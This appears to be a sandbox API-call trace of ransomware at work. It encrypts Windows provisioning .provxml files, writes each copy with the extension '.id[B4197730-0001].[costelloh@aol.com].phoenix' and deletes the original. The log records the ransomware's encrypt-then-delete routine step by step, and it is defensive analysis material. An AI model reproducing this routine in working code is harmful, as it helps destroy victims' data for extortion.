	[0249.419] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151200) returned 1
	[0249.419] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0249.419] ReadFile (in: hFile=0x2c4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2d2, lpOverlapped=0x0) returned 1
	[0249.428] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0249.428] WriteFile (in: hFile=0x2f0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0249.428] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1516c0) returned 1
	[0249.428] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0249.428] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0249.429] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0249.429] WriteFile (in: hFile=0x2f0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0249.429] CryptDestroyKey (hKey=0x151200) returned 1
	[0249.429] CloseHandle (hObject=0x2c4) returned 1
	[0249.429] CloseHandle (hObject=0x2f0) returned 1
	[0249.429] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\393__Connections_Cellular_Slovak Telekom (Slovakia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\393__connections_cellular_slovak telekom (slovakia)_i0$(__mvid)@wap.provxml")) returned 1
	[0249.433] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0249.433] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\395__Connections_Cellular_Mobitel (Slovenia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\395__connections_cellular_mobitel (slovenia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0249.434] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=711) returned 1
	[0249.434] CloseHandle (hObject=0x2f0) returned 1
	[0249.434] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\395__Connections_Cellular_Mobitel (Slovenia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\395__connections_cellular_mobitel (slovenia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0249.434] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\395__Connections_Cellular_Mobitel (Slovenia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\395__connections_cellular_mobitel (slovenia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.434] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\395__Connections_Cellular_Mobitel (Slovenia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\395__connections_cellular_mobitel (slovenia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0249.434] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0249.434] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0249.434] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\395__Connections_Cellular_Mobitel (Slovenia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\395__connections_cellular_mobitel (slovenia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0249.435] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1512c0) returned 1
	[0249.435] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0249.435] ReadFile (in: hFile=0x2f0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c7, lpOverlapped=0x0) returned 1
	[0249.603] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0249.603] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0249.603] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151600) returned 1
	[0249.603] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0249.603] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0249.603] CryptDestroyKey (hKey=0x151600) returned 1
	[0249.604] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0249.604] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0249.604] CloseHandle (hObject=0x2f0) returned 1
	[0249.604] CloseHandle (hObject=0x2c4) returned 1
	[0249.604] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\395__Connections_Cellular_Mobitel (Slovenia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\395__connections_cellular_mobitel (slovenia)_i0$(__mvid)@wap.provxml")) returned 1
	[0249.605] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0249.605] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\397__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\397__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0249.605] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=472) returned 1
	[0249.605] CloseHandle (hObject=0x2c4) returned 1
	[0249.605] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\397__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\397__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0249.605] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\397__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\397__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.605] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\397__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\397__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0249.606] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0249.606] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0249.606] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\397__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\397__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0249.606] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151600) returned 1
	[0249.606] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0249.606] ReadFile (in: hFile=0x2c4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1d8, lpOverlapped=0x0) returned 1
	[0249.607] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1e0, dwBufLen=0x1e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1e0) returned 1
	[0249.607] WriteFile (in: hFile=0x2f0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1e0, lpOverlapped=0x0) returned 1
	[0249.608] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151100) returned 1
	[0249.608] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0249.608] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90, dwBufLen=0x90 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90) returned 1
	[0249.608] CryptDestroyKey (hKey=0x151100) returned 1
	[0249.608] WriteFile (in: hFile=0x2f0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x142, lpOverlapped=0x0) returned 1
	[0249.609] CryptDestroyKey (hKey=0x151600) returned 1
	[0249.609] CloseHandle (hObject=0x2c4) returned 1
	[0249.609] CloseHandle (hObject=0x2f0) returned 1
	[0249.609] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\397__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\397__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0249.610] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0249.610] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\398__Connections_Cellular_Cell-C (South Africa)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\398__connections_cellular_cell-c (south africa)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0249.610] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=713) returned 1
	[0249.610] CloseHandle (hObject=0x2f0) returned 1
	[0249.610] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\398__Connections_Cellular_Cell-C (South Africa)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\398__connections_cellular_cell-c (south africa)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0249.610] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\398__Connections_Cellular_Cell-C (South Africa)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\398__connections_cellular_cell-c (south africa)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.610] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\398__Connections_Cellular_Cell-C (South Africa)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\398__connections_cellular_cell-c (south africa)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0249.611] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0249.611] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0249.611] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\398__Connections_Cellular_Cell-C (South Africa)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\398__connections_cellular_cell-c (south africa)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0249.611] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151200) returned 1
	[0249.611] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0249.611] ReadFile (in: hFile=0x2f0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c9, lpOverlapped=0x0) returned 1
	[0249.674] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0249.674] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0249.675] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151440) returned 1
	[0249.675] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0249.675] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0249.675] CryptDestroyKey (hKey=0x151440) returned 1
	[0249.675] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0249.675] CryptDestroyKey (hKey=0x151200) returned 1
	[0249.675] CloseHandle (hObject=0x2f0) returned 1
	[0249.675] CloseHandle (hObject=0x2c4) returned 1
	[0249.675] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\398__Connections_Cellular_Cell-C (South Africa)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\398__connections_cellular_cell-c (south africa)_i0$(__mvid)@wap.provxml")) returned 1
	[0249.676] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0249.676] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\399__Connections_Cellular_MTN South Africa (South Africa)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\399__connections_cellular_mtn south africa (south africa)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0249.677] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=657) returned 1
	[0249.677] CloseHandle (hObject=0x2c4) returned 1
	[0249.677] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\399__Connections_Cellular_MTN South Africa (South Africa)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\399__connections_cellular_mtn south africa (south africa)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0249.677] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\399__Connections_Cellular_MTN South Africa (South Africa)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\399__connections_cellular_mtn south africa (south africa)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.677] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\399__Connections_Cellular_MTN South Africa (South Africa)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\399__connections_cellular_mtn south africa (south africa)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0249.677] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0249.677] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0249.677] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\399__Connections_Cellular_MTN South Africa (South Africa)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\399__connections_cellular_mtn south africa (south africa)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0249.678] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1513c0) returned 1
	[0249.678] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0249.678] ReadFile (in: hFile=0x2c4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x291, lpOverlapped=0x0) returned 1
	[0249.749] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2a0, dwBufLen=0x2a0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2a0) returned 1
	[0249.749] WriteFile (in: hFile=0x2f0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2a0, lpOverlapped=0x0) returned 1
	[0249.750] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151740) returned 1
	[0249.750] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0249.750] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xd0, dwBufLen=0xd0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xd0) returned 1
	[0249.750] CryptDestroyKey (hKey=0x151740) returned 1
	[0249.750] WriteFile (in: hFile=0x2f0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x182, lpOverlapped=0x0) returned 1
	[0249.750] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0249.750] CloseHandle (hObject=0x2c4) returned 1
	[0249.750] CloseHandle (hObject=0x2f0) returned 1
